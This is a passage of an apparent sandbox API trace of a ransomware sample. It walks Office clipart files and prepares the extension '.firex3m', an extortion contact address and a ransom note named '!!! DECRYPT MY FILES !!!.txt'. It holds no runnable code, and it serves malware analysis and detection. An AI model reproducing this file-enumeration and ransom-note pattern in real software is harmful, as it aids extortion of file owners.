cAlternateFileName="")) returned 1 [0137.770] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 1 [0137.770] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf") returned 0x44 [0137.770] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.770] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.770] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.770] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.771] GetProcessHeap () returned 0x630000 [0137.771] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6538, Size=0x360) returned 0x6ed6538 [0137.771] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1 [0137.771] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 1 [0137.771] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf") returned 0x44 [0137.771] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.771] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.771] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.771] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.771] GetProcessHeap () returned 0x630000 [0137.771] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6538, Size=0x364) returned 0x6ed6538 [0137.771] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1 [0137.771] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 1 [0137.771] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf") returned 0x44 [0137.771] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.771] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.771] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.771] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.771] GetProcessHeap () returned 0x630000 [0137.771] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6538, Size=0x368) returned 0x6ed6538 [0137.771] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1 [0137.771] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 1 [0137.771] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf") returned 0x44 [0137.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.772] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.772] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.772] GetProcessHeap () returned 0x630000 [0137.772] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6538, Size=0x36c) returned 0x6fc44e0 [0137.772] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1 [0137.772] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 1 [0137.772] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf") returned 0x44 [0137.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.772] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.772] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.772] GetProcessHeap () returned 0x630000 [0137.772] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x370) returned 0x6fc44e0 [0137.772] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1 [0137.772] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 1 [0137.772] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf") returned 0x44 [0137.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.772] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.772] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.772] GetProcessHeap () returned 0x630000 [0137.772] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x374) returned 0x6fc44e0 [0137.773] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1 [0137.773] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 1 [0137.773] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf") returned 0x44 [0137.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.773] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.773] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.773] GetProcessHeap () returned 0x630000 [0137.773] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x378) returned 0x6fc44e0 [0137.773] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1 [0137.773] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 1 [0137.773] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf") returned 0x44 [0137.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.773] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.773] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.773] GetProcessHeap () returned 0x630000 [0137.773] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x37c) returned 0x6fc44e0 [0137.773] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1 [0137.773] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 1 [0137.773] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf") returned 0x44 [0137.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.774] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.774] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.774] GetProcessHeap () returned 0x630000 [0137.774] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x380) returned 0x6fc44e0 [0137.774] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1 [0137.774] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 1 [0137.774] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf") returned 0x44 [0137.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.774] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.774] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.774] GetProcessHeap () returned 0x630000 [0137.774] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x384) returned 0x6fc44e0 [0137.774] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1 [0137.774] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 1 [0137.774] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf") returned 0x44 [0137.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.774] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.774] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.774] GetProcessHeap () returned 0x630000 [0137.774] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x388) returned 0x6fc44e0 [0137.775] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1 [0137.775] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 1 [0137.775] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf") returned 0x44 [0137.775] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.775] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.775] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.775] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.775] GetProcessHeap () returned 0x630000 [0137.775] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x38c) returned 0x6fc44e0 [0137.775] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1 [0137.775] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 1 [0137.775] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf") returned 0x44 [0137.775] MultiByteToWideChar (in: CodePage=0x3, 